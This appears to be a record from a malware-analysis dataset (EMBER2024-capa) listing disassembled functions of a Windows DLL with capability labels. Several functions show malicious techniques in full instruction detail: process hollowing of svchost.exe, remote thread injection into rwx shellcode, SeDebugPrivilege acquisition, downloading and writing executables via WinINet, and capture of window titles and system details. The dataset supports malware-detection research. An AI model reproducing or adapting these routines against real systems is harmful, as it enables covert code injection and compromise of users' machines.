joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180008180
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x18000822b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1800081c3
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, str.HDD:_d
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.18001553c
lea r8, str._sFree_d_Gb
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.18001553c
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.180014cd0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180008310
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, r8
mov r12, rdx
mov rsi, rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.180017bb0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180008384
or ebx, 0xffffffff
jmp 0x1800083f5
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800083f5
cmp eax, 2
ja 0x1800083f5
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800083f5
lea rdx, [0x180034104]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1800083e2
or ebx, 0xffffffff
jmp 0x1800083f5
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180014cd0
mov rbx, qword [rsp + 0x298]
add rsp, 0x260
pop r12
pop rdi
pop rsi
ret

Function at 0x1800089f0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor eax, eax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180034560]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x180008a3f
call rax
jmp 0x180008a45
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x20]
mov ecx, 6
cmp cx, ax
je 0x180008a65
mov ecx, 9
cmp cx, ax
je 0x180008a65
xor eax, eax
add rsp, 0x58
ret
mov eax, 1
add rsp, 0x58
ret
Function at 0x180008a70
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, [0x180034578]
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x180008bd3
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180008bca
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x70], rsi
call rax
movzx r11d, word [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r9d, dword [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str._d._d._d
mov edx, 0x1e
mov rcx, rdi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x80], r11d
call fcn.18001553c
mov r11d, 0xca
mov rcx, 0xffffffffffffffff
mov eax, 2
mov dword [rsp + 0x34], r11d
mul r11
cmovo rax, rcx
mov rcx, rax
call fcn.180012694
mov dword [rsp + 0x38], 1
mov rdi, rax
call fcn.1800089f0
xor r8d, r8d
test eax, eax
lea rax, [rsp + 0x40]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
jne 0x180008b67
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x38]
mov esi, eax
lea rax, [rsp + 0x34]
lea rdx, str.ProductName
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180008bb2
test esi, esi
jne 0x180008bb2
lea r9d, [rax + 0x31]
lea edx, [rax + 0x32]
mov r8, rdi
mov rcx, rbp
call fcn.180015a08
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.180015860
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret

Function at 0x180008be0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180008c80
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180008d03
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x40], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x38]
xor eax, eax
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.NtDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtSetInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x180008d3b
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x60
pop rbx
ret
mov dword [rsp + 0x30], 1
call sub.KERNEL32.dll_GetCurrentProcessId
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 4
lea r8, [rsp + 0x30]
lea edx, [r9 + 0x19]
mov rcx, rax
call rbx
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x60
pop rbx
ret

Function at 0x180008e00
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180008e47
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x68
ret
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x180008e30
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rbx
xor ebx, ebx
lea r8, [rsp + 0x40]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x44], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x68
ret
Function at 0x180009460
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x1800094f3
test rdi, rdi
je 0x1800094ec
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x18000962a
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x1800094de
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800095f0
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.180017bb0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x1800095b3
cmp word [rsp + 0x50], r15w
jne 0x1800095dc
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x180009570
jmp 0x1800095df
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x180009626
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180009650
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movsxd rbx, edx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x70]
call fcn.180017bb0
xor r11d, r11d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
call fcn.180017bb0
xor r12d, r12d
lea rcx, [rbp + 0x4b1]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], r12w
mov byte [rbp + 0x4b0], r12b
call fcn.180017bb0
lea rcx, [rbp + 0x4b0]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x4b0]
lea rdx, [0x1800346a8]
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b3], r12b
call fcn.18000a180
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x4b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180009801
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x6f0], rdi
mov dword [rsp + 0x20], 0x40
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1800097e8
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800097e8
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800097e8
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1800097ec
xor al, al
jmp 0x1800097f9
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.180014cd0
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6c0
pop r12
pop rsi
pop rbp
ret
Function at 0x180009960
Capabilities:
Get disk information

Disassembly:
push rbp
push r12
sub rsp, 0x518
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rbp, rdx
mov r12, rcx
test rdx, rdx
jne 0x18000998f
xor eax, eax
jmp 0x180009aab
mov qword [rsp + 0x540], rbx
mov qword [rsp + 0x510], rsi
lea rdx, [rsp + 0x100]
mov ecx, 0x3e8
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x500], r13
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x180009a7d
xor r13d, r13d
mov edi, r13d
cmp word [rsp + 0x100], di
je 0x180009a7d
lea rbx, [rsp + 0x100]
movsxd rax, edi
lea rdx, [0x180034788]
lea rsi, [rsp + rax*2 + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180009a6c
lea rdx, [0x180034790]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180009a6c
movzx eax, word [rbx]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rsp + 0x22], ax
mov word [rsp + 0x24], r13w
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x180009a89
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsp + 0x30]
mov rcx, r12
movsxd rsi, eax
mov r8, rsi
call fcn.180015c94
test eax, eax
je 0x180009ac6
add rbx, 8
add edi, 4
cmp word [rbx], r13w
jne 0x1800099e6
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov rdi, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x540]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x518
pop r12
pop rbp
ret
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [r12 + rsi*2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
jmp 0x180009a8b

Function at 0x180009af0
Capabilities:
Get process image filename

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
mov rdi, rdx
test rdx, rdx
je 0x180009b84
mov word [rdx], ax
mov r8d, ecx
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x260], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180009b59
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x180009b5d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009b7c
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.180009960
mov rcx, rbx
test eax, eax
je 0x180009b53
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x240
pop rdi
ret
Function at 0x18000a410
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbp, rdx
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rdi, rcx
xor bl, bl
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18000a52d
xor eax, eax
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r9d, [r12 + 0x20]
mov qword [rsp + 0x50], rax
mov eax, dword [0x180045810]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x48], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a513
lea r9, [0x18000a400]
lea r8, [0x18000a3d0]
lea rdx, [rsi + 0x20]
mov rcx, rdi
sub r9d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000a513
mov qword [rsp + 0x30], r12
lea r9, [rsi + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x18000a513
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov bl, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r12, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
movzx eax, bl
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000a600
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
xor sil, sil
lea ecx, [rdx + 2]
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000a6a7
call fcn.18000ac10
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.18000a9b0
mov rax, qword [rbx]
xor edi, edi
movsxd rcx, dword [rax + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x18000a67e
mov rcx, qword [rcx + rbx + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x18000a6a3
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x18000a69b
or edx, 4
xor r8d, r8d
call fcn.18000a220
xor al, al
jmp 0x18000a716
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000a709
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x18000a6e4
add rax, 2
test ecx, ecx
jne 0x18000a6d0
test edx, edx
je 0x18000a6fc
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000a6c0
jmp 0x18000a709
mov ecx, dword [rsp + 0x28]
mov sil, 1
mov dword [0x180045810], ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180014cd0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x18000a900
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000a98c
lea r8, [rsp + 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x38], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014cd0
add rsp, 0x50
pop rbx
ret
Function at 0x18000ea30
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x230
movzx r13d, dl
call fcn.180015378
xor edx, edx
mov r8d, 0x230
mov rcx, rax
mov rdi, rax
call fcn.180017bb0
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x1800343e8]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000ead8
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x40], ebx
call fcn.18000ebe0
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000eb85
test r13b, r13b
je 0x18000eb85
lea r13d, [r12 + 0x230]
movsxd rcx, r13d
call fcn.180012694
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x230
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.180014d00
lea rcx, [rbx + 0x230]
mov r8, r12
mov rdx, rsi
call fcn.180014d00
cmp dword [rbp + 0x10], 0
jne 0x18000eb9d
mov r8d, r13d
mov rdx, rbx
jmp 0x18000eb93
cmp dword [rbp + 0x10], ebx
jne 0x18000eb9d
mov r8d, 0x230
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.180014cac
test rsi, rsi
je 0x18000ebb2
mov rcx, rsi
call fcn.180015860
test rbx, rbx
je 0x18000ebbf
mov rcx, rbx
call fcn.180015860
